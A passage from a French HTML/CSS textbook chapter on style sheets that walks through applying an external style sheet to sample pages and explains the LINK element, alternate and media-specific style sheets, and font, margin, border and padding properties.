4 Supprimez les attributs align des éléments H1 et H2, puisqu’ils

sont désormais superflus.
5 Enregistrez le fichier sans modifier son nom.
Ouvrez le fichier [Link] dans votre navigateur, puis cliquez dans la
barre de navigation sur Mes passions. Vous devriez obtenir quelque
chose de similaire à ce qui est présenté dans la figure suivante,
c’est-à-dire un aspect beaucoup plus proche de celui de la page
d’accueil.

Figure 8.8 :
Page Mes passions, employant
désormais la feuille de style
externe.

Les pages Ma région et Ma famille sont un peu plus complexes,

puisqu’elles font appel à des tableaux. Nous devons donc définir un
style de tableau dans la feuille de style.
1 Ouvrez [Link] dans le Bloc-Notes.
2 Ajoutez les définitions de style suivantes à la fin du fichier :
TABLE {width: 100%; border-width: 2;
border-style:double; text-align: center}
CAPTION {font-size: 24px; font-weight: bold;
text-align: center;}
TH {font-size: 20pt; border-width: 1;
border-style: solid; text-align: center}
TD {font-size: 14pt; border-width: 1;
border-style: solid; text-align: center}
[Link] {font-size: 14pt; text-align: right}

3 Enregistrez le fichier sans modifier son nom.

4 Ouvrez [Link] dans le Bloc-Notes.
5 Modifiez son numéro de version :
<META name="version" content="3.8.1">

LE GUIDE COMPLET 297

 Chapitre 8 Feuilles de style

6 Ajoutez l’élément LINK identique à celui des fichiers [Link]

et [Link] :
<LINK rel="STYLESHEET" type="text/css"
href="[Link]">

7 Supprimez les attributs align et border du premier tableau, et

les attributs align, border et width du second tableau.
8 Remplacez les attributs align="right" de ses trois éléments TD
par un attribut class="droit", comme dans l’exemple suivant :
<TH>Temp. Max.</TH><TD class="droit">18 °</TD>

9 Enregistrez votre fichier sans modifier son nom.

Ouvrez le fichier [Link] dans votre navigateur, puis cliquez dans la
barre de navigation sur Ma région.

Figure 8.9 : Page Ma région, employant désormais la feuille de style

externe.

Similaire, mais pas identique : nous avons en réalité légèrement modifié

le contenu de ce fichier, en y ajoutant du contenu et en remplaçant les
caractères accentués par les entités adéquates. Voici son listing complet,
les modifications étant signalées en gras.

298 LE GUIDE COMPLET

 Feuille de style externe Chapitre 8

Listing 8-2 : [Link] version 3.8.1

<!DOCTYPE html PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Ma r&eacute;gion</TITLE>
<META name="author" content="Fabrice Lemainque">
<META name ="version" content="3.8.1">
<META http-equiv="Content-Style-Type" content="text/css">
<LINK rel="STYLESHEET" type="text/css" href="[Link]">
</HEAD>
<BODY>
<TABLE summary="Pr&eacute;sentation de ma r&eacute;gion">
<CAPTION>Ma r&eacute;gion</CAPTION>
<TR>
<TD rowspan="3" width="34%">

<!-- Essayer l’image JPEG -->

<OBJECT data="Images/coucher de [Link]"
type="image/gif" width="100%"
title="Un coucher de soleil sur le lac de Linciel">
<!-- Sinon, le texte -->
Coucher de soleil sur le lac de Linciel
</OBJECT>
</OBJECT>
</OBJECT>
</TD>
<TD colspan="3">Ma r&eacute;gion est célèbre
pour ses for&ecirc;ts, ses montagnes et ses lacs.</TD>
</TR>
<TR>
<TD>Les for&ecirc;ts
<UL>
<LI>Llanowar
<LI>Lothlorien
</UL>
</TD>
<TD>Les montagnes
<UL>
<LI>Montagnes bleues
<LI>Moria
</UL>
</TD>
<TD>Les lacs
<UL>
<LI>Caldera de Riss
<LI>Lac de Linciel
</UL>
</TD>
</TR>
<TR>
<TD>

LE GUIDE COMPLET 299

 Chapitre 8 Feuilles de style

<TABLE>
<CAPTION>Donn&eacute;es climatologiques</CAPTION>
<TR>
<TH>Temp. Max.</TH><TD class="droit">18 °</TD>
</TR>
<TR>
<TH>Temp. min.</TH><TD class="droit">6,6 °</TD>
</TR>
<TR>
<TH>Pluie</TH></TH><TD class="droit">682 mm</TD>
</TR>
</TABLE>
</TD>
<TD colspan="2">Ici, une autre image </TD>
</TR>
</TABLE>
</BODY>
</HTML>

Occupez-vous maintenant du dernier fichier, [Link].

1 Ouvrez [Link] dans le Bloc-Notes.
2 Modifiez son numéro de version :
<META name="version" content="3.8.1">

3 Ajoutez l’élément LINK identique à celui des fichiers

[Link], [Link] et [Link] :
<LINK rel="STYLESHEET" type="text/css" href="[Link]">

4 Supprimez les attributs align de l’élément H1. Supprimez les

attributs border, align, cellspacing, cellpadding et
width du tableau.
5 Supprimez les attributs valign des éléments TD et remplacez les
attributs align="right" par un attribut class="droit",
comme dans l’exemple suivant :
<TH>Temp. Max.</TH><TD class="droit">18 °</TD>

6 Enregistrez votre fichier sans modifier son nom.

Ouvrez le fichier [Link] dans votre navigateur, puis cliquez dans la
barre de navigation sur Ma famille (voir Figure 8.10).

Toutes nos pages présentent désormais un aspect homogène. Imaginez

maintenant que vous vouliez soudainement modifier la couleur du cadre
placé autour de l’élément H1, et définir un retrait à droite et à gauche de
celui-ci. Rien de plus simple !

300 LE GUIDE COMPLET

 Feuille de style externe Chapitre 8

Figure 8.10 :
Page Ma famille, employant
désormais la feuille de style
externe.

1 Ouvrez le fichier [Link] dans le Bloc-notes.

2 Modifiez comme suit la définition du style de l’élément H1 :
H1 {margin-left: 15%; margin-right: 15%; border-width: 1;
border: solid; text-align: center;
font-size: 32pt; color: blue}

3 Enregistrez votre fichier.

Rafraîchissez votre navigateur ou ouvrez à nouveau [Link]. Cliquez
successivement sur les liens Ma famille et Mes passions. Tous les
éléments H1 ont été modifiés.

Figure 8.11 : Une unique modification du fichier de feuille de style se

répercute sur tous les éléments H1

LE GUIDE COMPLET 301

 Chapitre 8 Feuilles de style

Figure 8.12 :
Une unique modification du fichier de
feuille de style se répercute sur tous les
éléments H1

Une seule modification du fichier de feuille de style se répercute sur

l’ensemble du site.

Figure 8.13 :
Une unique modification du fichier de feuille de
style se répercute sur tous les éléments H1

Cet exemple est d’une simplicité déconcertante. Pour voir à quel point
une feuille de style bien conçue peut profondément modifier l’aspect
d’un site, visitez [Link]/ et cliquez sur les différents
modèles proposés dans le cadre de droite : comme le montrent les deux
copies d’écran qui suivent, les différences peuvent être phénoménales !

Figure 8.14 :
Exemple de l’effet des feuilles de
style proposées par
[Link]

302 LE GUIDE COMPLET

 Feuille de style externe Chapitre 8

Figure 8.15 : Autre exemple de l’effet des feuilles de style proposées par
[Link]

Nous reviendrons bientôt plus en détail sur les différentes propriétés des
feuilles de style. Pour le moment, penchons-nous plus avant sur
l’élément LINK.

Élément LINK
Comme vous l’avez vu dans les exemples précédents, vous liez une
feuille de style à un document HTML à l’aide de l’élément LINK. La
syntaxe de celui-ci est la suivante :
<LINK rel="STYLESHEET" type="text/css"
href="[Link]">

href est comme d’habitude une URL vers le fichier de feuille de style.
Il semblerait toutefois que les URL absolues se comportent parfois de
façon erratique : préférez les feuilles de style logées sur le serveur de
votre site.

HTML permet d’associer un nombre quelconque de feuilles de style

externes à un document. Le langage de feuille de style définit comment

LE GUIDE COMPLET 303

 Chapitre 8 Feuilles de style

plusieurs feuilles de style externes interagissent (par exemple, les règles

de « cascade » de CSS).

Il est ainsi possible de spécifier plusieurs feuilles de style mutuellement

exclusives, alors nommées « feuilles de style alternatives ». Cela permet
d’offrir aux lecteurs plusieurs présentations d’un document. L’utilisateur
peut sélectionner sa feuille de style favorite parmi celles-ci en fonction
de ses préférences. Par exemple, une feuille de style pour la restitution
des documents compacts dans une petite taille de police, ou une autre
spécifiant une taille de police plus grande pour une meilleure lisibilité.
Des feuilles alternatives peuvent viser des utilisateurs ou des médias
spécifiques. Les agents utilisateurs doivent permettre aux utilisateurs de
choisir entre plusieurs feuilles de style alternatives ainsi que de
désactiver les feuilles de style.

Il est possible de spécifier une feuille de style préférée. Les agents

utilisateurs doivent appliquer la feuille de style préférée de l’auteur, sauf
si l’utilisateur sélectionne une autre alternative.

Plusieurs feuilles de style alternatives (y compris la préférée) peuvent

être regroupées sous un seul nom de style. Lorsqu’un utilisateur
sélectionne un style nommé, l’agent utilisateur doit appliquer toutes les
feuilles de style qui portent ce nom, mais pas celles qui portent un nom
différent. Vous verrez plus loin comment nommer un groupe de feuilles
de style.

Il est également possible de spécifier des feuilles de style

« persistantes » : elles sont appliquées par l’agent utilisateur en sus des
éventuelles feuilles de style alternatives.

Les agents utilisateurs doivent respecter les descripteurs de médium lors

de l’application d’une feuille de style. Ils doivent également permettre
aux utilisateurs de désactiver entièrement les feuilles de style de
l’auteur : aucune feuille de style n’est appliquée, qu’elle soit persistante
ou alternative.

Les attributs de l’élément LINK jouent les rôles suivants :

j La valeur de l’attribut rel indique si la feuille de style est
persistante, préférée ou alternative. Si cet attribut possède la
valeur "stylesheet", la feuille de style est persistante en
l’absence d’attribut title et préférée si l’attribut title est
spécifié. La feuille de style est en revanche alternative si l’attribut

304 LE GUIDE COMPLET

 Feuille de style externe Chapitre 8

rel possède la valeur "alternate stylesheet" et que la

feuille est nommée à l’aide de l’attribut title.
j La valeur de l’attribut type indique le langage de la ressource
reliée (la feuille de style). Cela évite à l’agent utilisateur de
charger une feuille de style dans un langage de feuille de style
non reconnu.
j La valeur de l’attribut href est un URI, qui indique la
localisation du fichier de la feuille de style.

Les agents utilisateurs devraient fournir aux utilisateurs les moyens de

passer en revue et de choisir les feuilles de style alternatives dans une
liste. Mieux vaut employer la valeur de l’attribut title comme nom
pour chaque option.

Vous pouvez également employer un élément META pour définir la

feuille de style préférée du document. Par exemple, pour définir comme
feuille de style préférée une feuille nommée "favorite", placez ce qui
suit dans l’élément HEAD :
<META http-equiv="Default-Style" content="favorite">

Si plusieurs déclarations META spécifient la feuille de style préférée,

seule la dernière est retenue. En revanche, si plusieurs éléments LINK
spécifient une feuille de style préférée, seul le premier est retenu. Les
feuilles de style préférées au moyen d’éléments META ont priorité sur
celles spécifiées avec l’élément LINK.

Prise en compte du médium

Pour tenir compte du médium dans la liaison d’une feuille de style,
servez -vous de l’attribut media dans l’élément LINK. Par exemple :
<LINK rel="stylesheet" type="text/css"
media="print, handheld"
href="[Link]">

Cet élément spécifie que cette feuille de style s’applique aux

périphériques d’impression et aux périphériques tenus à la main (comme
les téléphones portables et les assistants électroniques personnels).

Vous pouvez toutefois également utiliser la règle @media à l’intérieur

d’une feuille de style afin que celle-ci puisse transmettre des
informations à différents types de médias.

LE GUIDE COMPLET 305

 Chapitre 8 Feuilles de style

@media print {
BODY {font-size: 10pt}
}
@media screen {
BODY {font-size: 12pt}
}

Reportez-vous au tableau de la page 291 pour voir la liste des

descripteurs de médium autorisés.

8.5. Propriétés de feuille de style

Après avoir vu comment créer une feuille de style, tant locale
qu’externe, il est temps d’examiner plus en profondeur les propriétés
qu’il est possible de définir dans une feuille de style. Souvenez-vous
que, si HTML n’est en rien lié à un langage de feuille de style
spécifique, nous traitons uniquement ici du langage CSS.

Propriétés de modification de texte

et de police
Les propriétés les plus simples concernent la présentation du contenu
textuel d’un document

Depuis son invention, l’élément FONT posait quelques problèmes aux

concepteurs de pages Web. Il reste très mal supporté par les anciens
navigateurs et entre parfois en conflit avec l’élément BODY. Les feuilles
de style résolvent fort adroitement les problèmes posés par FONT. Les
utilisateurs seront dans un proche avenir en mesure de définir une feuille
de style par défaut pour leur navigateur, qui contiendra non seulement
les couleurs et les tailles de police mais également les espacements, les
bordures et les indentations. Ces éléments peuvent déjà tous être
spécifiés à l’aide d’une feuille de style.

Les propriétés signalées ici peuvent être appliquées à tout élément qui
possède un contenu texte.

Pour modifier la couleur d’une portion de texte, employez la propriété

color. Par exemple :
<P style="color: #990000 ;">

place le paragraphe en rouge sombre (#990000).

306 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

Assurez-vous de bien fermer tout élément ayant recours à des styles,

faute de quoi ceux-ci s’appliqueront à l’élément suivant.

Pour modifier la couleur de fond, utilisez background−color

<P style=”color: #990000 ; background-color: #66FFFF ;”>

pour un texte rouge sombre sur fond bleu clair. Une couleur de fond
appliquée à du texte fait ressortir le texte en surbrillance.

La propriété font recouvre plusieurs propriétés apparentées :

j font−style définit le type de la police. Les valeurs possibles
sont normal, italic et oblique.
j font−weight définit la graisse de la police. Les valeurs
possibles sont les incréments successifs de 100 à 900 : normal
(équivaut à 400), bold (équivaut à 700), bolder (graisse
supérieure à celle assignée à une police, plus grasse que celle
héritée par la police. S’il n’y en a pas, la valeur de graisse de la
propriété prend la valeur numérique supérieure, l’aspect de la
police ne changeant pas. Si la valeur héritée est déjà égale à 900,
la valeur résultante reste 900), lighter (graisse inférieure à
celle assignée à une police, moins grasse que celle héritée par la
police. S’il n’y en a pas, la valeur de graisse de la propriété prend
la valeur numérique inférieure, l’aspect de la police ne changeant
pas. Si la valeur héritée est déjà égale à 100, la valeur résultante
devient également 100).
j font−size définit la taille de la police. La valeur peut être une
taille absolue : une taille en points ou un des mots-clés xx−large,
x−large, large, medium, small, x−small, xx−small. Pour
un écran, il est conseillé un facteur d’échelle de 1,2 entre les
valeurs consécutives de la table. Ainsi, si la valeur medium
correspond à 12pt, la valeur large devrait correspondre à
14.4pt. Les facteurs d’échelle peuvent varier selon les médias
considérés. Par ailleurs, l’agent utilisateur devrait prendre en
compte la qualité et la disponibilité des polices au moment du
calcul de cette table. Celle-ci peut aussi différer d’une famille de
polices à une autre. La valeur peut également être une valeur
relative, grâce aux mots-clés larger et smaller (ce qui
correspond à un déplacement d’une case dans l’échelle
précédente), ou en pourcentage, par rapport à la taille de la police
de l’élément parent.

LE GUIDE COMPLET 307

 Chapitre 8 Feuilles de style

j font−family modifie le type de police utilisé dans une page.

Vous pouvez définir une fonte spécifique, comme Arial ou
Helvetica, ou vous contenter d’utiliser un nom générique,
comme sans−serif ou serif. Vous pouvez définir des familles
de polices : le navigateur essaye alors chaque police à son tour et
retient la première qu’il comprend. Ainsi, avec comme style
font-family: Arial, Helvetica, sans-serif ;

le navigateur essaye d’abord la police Arial (installée sur la

plupart des PC), puis la police Helvetica (présente sur la plupart
des Macintoshs) et ensuite seulement la famille générique Sans-
serif, comprenant toutes les fontes dites non proportionnelles
(contrairement à Arial et Helvetica, qui sont des polices
proportionnelles). Parmi les autres familles génériques, vous
trouvez serif, cursive, fantasy et monospace. Les familles
de polices sont séparées par des virgules, mais vérifiez qu’il n’y
ait pas de virgule avant le point-virgule final.

Unités de taille
Les éléments peuvent avoir recours à huit unités différentes.
j Les unités relatives :

em (taille de la fonte actuelle), ex (hauteur de la fonte actuelle).

j Les unités absolues :
px (pixel), in (pouce), cm (centimètre), mm (millimètre), pt (point. Un
point CSS2 mesure 1/72e de pouce, soit environ 0,35 mm) et pc (pica, 12
points ou 4,15 mm).
Les unités absolues devraient être réservées aux cas pour lesquels vous
connaissez les dimensions physiques du périphérique de sortie.

Il est souvent possible d’abréger des propriétés apparentées en les

rassemblant dans une définition unique, ce qui est souvent nommé
raccourci. C’est le cas pour la propriété font. Par exemple, pour
spécifier qu’un élément doit se présenter dans une fonte Arial ou
Sans-serif en gras italique de petite taille, vous définissez normalement
comme suit les différentes propriétés :
{font-style: italic ; font-weight: bold ;
font-size: small ; font-family: Arial, sans-serif ; }

Vous pouvez cependant définir en une seule fois toutes les propriétés
relatives aux polices. Vous devez pour cela définir toutes ces propriétés

308 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

selon un ordre particulier, en ne faisant apparaître que leurs valeurs.

L’ordre adéquat est le suivant :
font-style font-weight font-size font-family

C’est ainsi que, dans l’exemple précédent, vous auriez pu utiliser :

{font: italic bold small Arial, sans-serif}

L’intérêt de cette technique tient à son gain de place, au prix d’une perte
de lisibilité. Les propriétés individuelles sont séparées par des espaces
tandis que les valeurs multiples applicables à une propriété (comme les
valeurs de font−family) sont séparées par des virgules.

Vous découvrirez par la suite de nombreux autres exemples de notation

raccourcie.

Une autre propriété de police intéressante, mais qui n’appartient pas à la

notation raccourcie de la propriété font, est font−variant. Dans une
police en petites capitales, les lettres minuscules présentent un aspect
similaire aux lettres majuscules, avec toutefois une taille réduite et des
proportions légèrement différentes. Ce type de police porte le nom de
police bicamérale (qui possède deux casses, comme les écritures latines).
Les valeurs possibles sont normal (une police non étiquetée comme
étant en petites capitales) ou small−caps (qui spécifie une police
étiquetée comme étant en petites capitales). En l’absence d’une telle
police, les agents utilisateurs devraient en effectuer la simulation, par
exemple en sélectionnant une police normale et en remplaçant les lettres
minuscules par des majuscules mises à l’échelle. En dernier ressort, les
lettres majuscules inchangées d’une police normale peuvent se
substituer aux petites capitales : le texte apparaît alors entièrement en
majuscules.

Le tableau suivant dresse la liste des principales propriétés de texte et de

police.

Tableau 8.2 : Principales propriétés de texte et de police de feuille

de style CSS

Propriété Valeur(s) But

background couleur hexadécimale ou nom Couleur d’arrière-

−color plan

color couleur hexadécimale ou nom Couleur de texte

LE GUIDE COMPLET 309

 Chapitre 8 Feuilles de style

Tableau 8.2 : Principales propriétés de texte et de police de feuille

de style CSS

Propriété Valeur(s) But

font font−style font−weight Propriétés de

font−size font−family police

font−style normal, italic, oblique Style de la police

font−weight Incréments de 100, normal, Graisse de la police

bold, bolder, lighter
font−size taille en points, xx−large, Taille de la police
x−large, large, medium,
small, x−small, xx−small,
larger, smaller, pourcentage
font−family tout nom de police, serif, Police(s) ou
sans−serif, cursive, famille(s) de polices
fantasy, monospace à employer

text−align left, right, center, justify Alignement du texte

text none, underline, overline, Enrichissement du

−decoration line−through, blink texte

text−indent longueur en points, longueur en Indentation du texte

pourcentage

Nous avions employé les propriétés text−align, font−size et

font−weight dans plusieurs des spécifications de notre feuille de style,
ainsi que color et font−variant une fois chacune :
/* [Link] : Feuille de style pour mon site */
H1 {margin-left: 15%; margin-right: 15%; border-width: 1;
border-style: solid; text-align: center;
font-size: 32pt; color: blue}
H2 {font-size: 20pt; text-align: center}
P {font-size: 16pt; text-align: center}
[Link] {font-size: 8pt; font-variant: small-caps}
UL {font-size: 16 pt; text-align: center}
LI {font-size: 14pt; text-align: left; margin-left: 40%}
ADDRESS {text-align: center}
TABLE {width: 100%; border-width: 2px; border-style: double;
text-align: center}
CAPTION {font-size: 24px; font-weight: bold;
text-align: center;}
TH {font-size: 20pt; border-width: 1px;
border-style: solid; text-align: center}
TD {font-size: 14pt; border-width: 1px;
border-style: solid; text-align: center}
[Link] {font-size: 14pt; text-align: right}

310 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

Représentation des éléments à l’aide d’un

style
Vous connaissez déjà les éléments bloc et la façon dont ils se
positionnent à l’écran. À l’aide de tableaux, vous pouvez tricher quant à
cette disposition, bien que cela soit un peu délicat et demande de
multiples ajustements. Jusqu’à maintenant, un conflit fondamental
existait en HTML entre une bonne compatibilité internavigateurs et la
possibilité d’afficher des informations sous forme graphique.

Les feuilles de style permettent d’établir un compromis entre vos

exigences de présentation et les souhaits de votre public. Vous pouvez
définir les éléments bloc au sein de la feuille de style dans des propriétés
de boîtes CSS et déterminer quand et où l’élément sera affiché.

Deux catégories principales de propriétés doivent être distinguées à ce

stade : celles intrinsèques à l’élément, qui définissent ses caractéristiques
internes, et celles relatives à la page ou au flux du code HTML. Ces
dernières définissent la position de l’élément à l’écran (ou le cas échéant
sur le médium concerné).

Propriétés intrinsèques d’un élément

Tout élément CSS se comporte comme une imbrication successive de
quatre boîtes :
j La boîte externe est l’aire de marges. Elle occupe le maximum de
l’espace disponible (ou spécifié). Ces marges transparentes, dont
les dimensions sont gérées par la propriété margin, définissent
l’espace transparent entre le bord de l’écran (ou d’un autre
élément) et l’élément actif.
j À l’intérieur de l’aire de marges se trouve l’aire de bordures.
Gérée par la propriété border, elle représente les bordures
affectées à l’élément actif.
j Vient ensuite l’aire d’espacement : la surface entre le contenu et la
limite intérieure de la bordure. Elle est gérée par la propriété
padding.
j Enfin, la boîte la plus intérieure est la boîte de contenu. Elle
renferme le contenu de l’élément actif.

LE GUIDE COMPLET 311

 Chapitre 8 Feuilles de style

Figure 8.16 : Boîte CSS

La propriété margin et ses propriétés apparentées définissent un espace

transparent entre le bord de l’écran (ou d’un autre élément) et l’élément
courant. Vous pouvez définir la largeur (ou la hauteur) de chaque marge
ou bien attribuer à toutes les marges une même valeur. Par exemple,
{margin: 10px}

crée une marge de 10 pixels autour de l’élément bloc. Vous pouvez

spécifier séparément la taille de chaque marge en faisant suivre l’attribut
d’un tiret puis de l’emplacement concerné : margin−top,
margin−right, margin−bottom et margin−left. Ainsi,
{margin-top: 1px ; margin-right: 10px ;
margin-bottom: 1px ; margin-left: 10px ;}

procure-t-il à l’élément concerné des marges supérieure et inférieure

d’un pixel, mais des marges droite et gauche de 10 pixels.

Vous pouvez spécifier comme valeur pour cet attribut une valeur absolue
(comme dans l’exemple), un pourcentage (par exemple, margin: 10%
impose des marges de chaque côté de 10 % de l’espace disponible) ou
choisir la valeur auto.

Comme pour la propriété font, les propriétés de boîte possèdent

également une forme raccourcie, plus simple mais moins lisible. Pour la
propriété margin, les valeurs doivent être placées dans l’ordre suivant :
{margin: haut droit bas gauche}

312 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

Remarquez que seuls des espaces séparent les valeurs individuelles.

L’exemple précédent, avec une marge d’un pixel en haut et en bas et une
marge de 10 pixels à droite et à gauche, pourrait ainsi être écrit :
{margin: 1px 10px 1px 10px}

Dans certains cas, des marges adjacentes peuvent fusionner. Selon la

spécification CSS 2.1, les marges horizontales ne fusionnent jamais, de
même que les marges verticales d’éléments positionnés de façon
absolue, flottants, en ligne (inline) ou avec un attribut overflow fixé
à autre chose que visible, ainsi que les marges de l’élément racine.

Deux ou plus marges verticales adjacentes situées dans le flux normal

peuvent fusionner. La largeur de la marge résultante est la largeur
maximale de la largeur des marges concernées. Dans le cas de marges
négatives, la valeur absolue maximale des marges négatives est déduite
de la valeur maximale des marges positives, ou de zéro en l’absence de
marge positive,

Les bordures sont définies à l’aide de la propriété border et de ses

propriétés apparentées :
j border−width définit la largeur de la bordure. Les largeurs
peuvent être définies avec les valeurs thin (mince), thick
(épaisse), medium (moyenne) ou exprimées en points. Vous
pouvez définir individuellement la largeur de la bordure de
chaque côté à l’aide de border−top−width, border−
right−width, border−bottom−width et border−left−
width. L’ordre abrégé de la propriété border−width est
identique à celui de margin, soit :
{border-width: haut droite bas gauche}

j border−style permet de définir un style de bordure. Cette

propriété peut recevoir les valeurs none (aucune), dotted
(pointillés), dashed (tirets), solid (pleine), double (grasse),
groove (cadre gravé), ridge (cadre en relief), inset (en 3D et
en creux) et outset (en 3D et en relief).
j border−color est similaire à la propriété color d’un élément.
Elle s’emploie de la même façon.

La propriété border possède une forme raccourcie, qui permet

d’appliquer les valeurs transmises à toutes les bordures d’un même
élément. L’ordre à respecter est le suivant :
{border: border-width border-style color;}

LE GUIDE COMPLET 313

 Chapitre 8 Feuilles de style

Vous pouvez également combiner les notations raccourcies pour ne

spécifier de valeur que pour la bordure du haut (ou celle de droite, du
bas ou de gauche) à l’aide de la propriété border−top (ou right,
bottom ou left) selon cet ordre :
{border-top: border-top-width border-style color;}

Enfin, la propriété padding utilise la même syntaxe que la propriété

margin, y compris la syntaxe raccourcie. C’est une propriété établissant
un espace vierge autour du contenu de l’élément, à l’intérieur de la
bordure.

Les propriétés du contenu d’un élément sont height et width. Ils sont
analogues aux attributs correspondants et déterminent la hauteur et la
largeur du contenu. Cela signifie que, pour obtenir la taille totale de
l’élément, vous devez ajouter successivement l’espacement, la bordure
et la marge. Ces propriétés acceptent une valeur absolue ou en
pourcentage, ainsi que la valeur auto. Le comportement de cette
dernière valeur est quelque peu complexe et dépasse la portée de ce
livre. Reportez-vous à la section 10.3, Le calcul des largeurs et des
marges, de la spécification CSS2, à l’adresse [Link]/doc/w3c
/css2/[Link]#Computing_widths_and_margins Ces propriétés n’acceptent
pas de valeurs négatives.

La propriété overflow permet de définir ce qui doit se passer quand le

contenu de l’élément excède l’espace défini. Les valeurs acceptables
sont visible (le contenu n’est pas tronqué et peut être représenté hors
de la boîte du bloc), hidden (le contenu est tronqué et aucun
mécanisme de défilement n’est fourni pour voir la partie rognée. La
taille et la forme du reliquat du rognage peuvent être spécifiées par la
propriété clip), scroll (le contenu est tronqué et l’agent utilisateur
fournit si possible un mécanisme de défilement visible à l’écran, tel
qu’une barre de défilement. Ce dispositif apparaît que le contenu de
l’élément soit tronqué ou non) ou auto.

Même lorsque la valeur de la propriété overflow est visible, le

contenu peut être rogné par le système d’exploitation pour tenir dans la
fenêtre du document de l’agent utilisateur.

Le tableau suivant résume ces propriétés, leurs valeurs et leurs effets.

314 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

Tableau 8.3 : Propriétés intrinsèques d’un élément

Propriété Valeur Exemple Effet

width longueur, width: Impose à l’élément

pourcentage ou 100pt une largeur de cent
auto points. Peut ainsi
remplacer un
tableau.

height longueur ou auto height: Impose à l’élément

20pt une hauteur de vingt
points

margin longueur, margin: Crée une marge de

pourcentage ou 10pt dix points autour de
auto l’élément

border thin, medium, border Crée une bordure

−width thick, longueur −width: mince en haut et en
thin bas, et une bordure
thick épaisse sur les
thin côtés.
thick
border none, dotted, border Crée une bordure
−style dashed, solid, −style: épaisse autour de
double , groove, double l’élément
ridge, inset ou
outset
border border-width border: Ajoute une marge
border-style 4pt double de quatre
border-color double points autour du
#000000 contenu

padding longueur, padding: Ajoute un

pourcentage ou 10px espacement de dix
auto pixels entre le
contenu et la
bordure

Nous avions employé plusieurs de ces propriétés dans notre fichier

[Link] :
/* [Link] : Feuille de style pour mon site */
H1 {margin-left: 15%; margin-right: 15%;
border-width: 1; border-style: solid;
text-align: center; font-size: 32pt; color: blue}
H2 {font-size: 20pt; text-align: center}
P {font-size: 16pt; text-align: center}
[Link] {font-size: 8pt; font-variant: small-caps}
UL {font-size: 16 pt; text-align: center}

LE GUIDE COMPLET 315

 Chapitre 8 Feuilles de style

LI {font-size: 14pt; text-align: left; margin-left: 40%}

ADDRESS {text-align: center}
TABLE {width: 100%; border-width: 2px; border-style: double;
text-align: center}
CAPTION {font-size: 24px; font-weight: bold;
text-align: center;}
TH {font-size: 20pt; border-width: 1px; border-style: solid;
text-align: center}
TD {font-size: 14pt; border-width: 1px; border-style: solid;
text-align: center}
[Link] {font-size: 14pt; text-align: right}

Incompatibilités de navigateurs anciens

Les feuilles de style ne sont pas reconnues par tous les agents
utilisateurs. Par exemple, Netscape, au moins jusqu’à sa version 4.06,
recensait un certain nombre de problèmes :
j La propriété padding des feuilles de style n’était pas reconnue. Il
fallait employer à la place topPadding, rightPadding,
bottomPadding ou leftPadding.
j La propriété margins des feuilles de style n’était pas reconnue. Il
fallait employer leftMargin, rightMargin ou bottomMargin.
j Les propriétés width, height et border appliquées aux images dans
les feuilles de style n’étaient pas reconnues.
Vous devez donc être conscient du fait que les utilisateurs disposant de
navigateurs anciens peuvent ne pas voir votre site comme vous le
souhaitez.

Propriétés de positionnement d’un élément

Ces propriétés définissent l’emplacement d’apparition de l’élément actif
sur le médium considéré. Elle sont désormais reconnues par la plupart
des navigateurs (Internet Explorer depuis la version 3.0 et Netscape
depuis sa version 4.0).

Le meilleur moyen de les découvrir consiste à prendre un exemple.

Examinez le listing suivant :
Listing 8-3 : [Link]
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Positions CSS d’un &eacute;l&eacute;ment"</TITLE>

316 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

<META name="author" content="votre nom">

<META http-equiv="Content-Style-Type" content="text/css">
</HEAD>
<BODY style="text-align: center">
<H1>D&eacute;monstration des
propri&eacute;t&eacute;s de positionnement CSS
</H1>
<!-- Flux normal -->
<P><IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Premier &eacute;l&eacute;ment <CODE>P</CODE><BR>
Ceci est un paragraphe de texte normal.
</P>
<P>
<IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Deuxi&egrave;me &eacute;l&eacute;ment
<CODE>P</CODE><BR>
Ceci est un paragraphe de texte normal.
</UL>
</P>
<P>
<IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Troisi&egrave;me &eacute;l&eacute;ment
<CODE>P</CODE><BR>
Ceci est un paragraphe de texte normal.
</P>
<P>
<IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Quatri&egrave;me &eacute;l&eacute;ment
<CODE>P</CODE><BR>
Ceci est un paragraphe de texte normal.
</P>
</BODY>
</HTML>

Rien de bien excitant : la répétition de quatre paragraphes de texte, dans

lesquels est insérée une image. En l’absence de spécification de position
particulière, les éléments respectent le flux normal du code. En
examinant ce fichier dans votre navigateur, vous observez quelque chose
d’analogue à la figure suivante : un empilement des quatre paragraphes,
centrés en raison de l’attribut style="text−align: center" de
l’élément BODY.

LE GUIDE COMPLET 317

 Chapitre 8 Feuilles de style

Figure 8.17 : Flux HTML normal

Modifions maintenant ce fichier, en ajoutant des attributs style aux

trois derniers paragraphes, ainsi que quelques commentaires. Nous
obtenons le listing suivant, dans lequel les modifications sont notées en
gras :
Listing 8-4 : [Link]
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Positions CSS d’un
&eacute;l&eacute;ment"</TITLE>
<META name="author" content="votre nom">
<META http-equiv="Content-Style-Type" content="text/css">
</HEAD>
<BODY style="text-align: center">
<H1>D&eacute;monstration des
propri&eacute;t&eacute;s de positionnement CSS
</H1>
<!-- Ce fichier utilise plusieurs éléments
similaires, dont seuls les attributs style diffèrent -->
<!-- Flux normal -->
<P><IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Premier &eacute;l&eacute;ment <CODE>P</CODE><BR>
Flux normal.<BR>
Ceci est un paragraphe de texte normal.
</P>
<!-- Image flottante -->
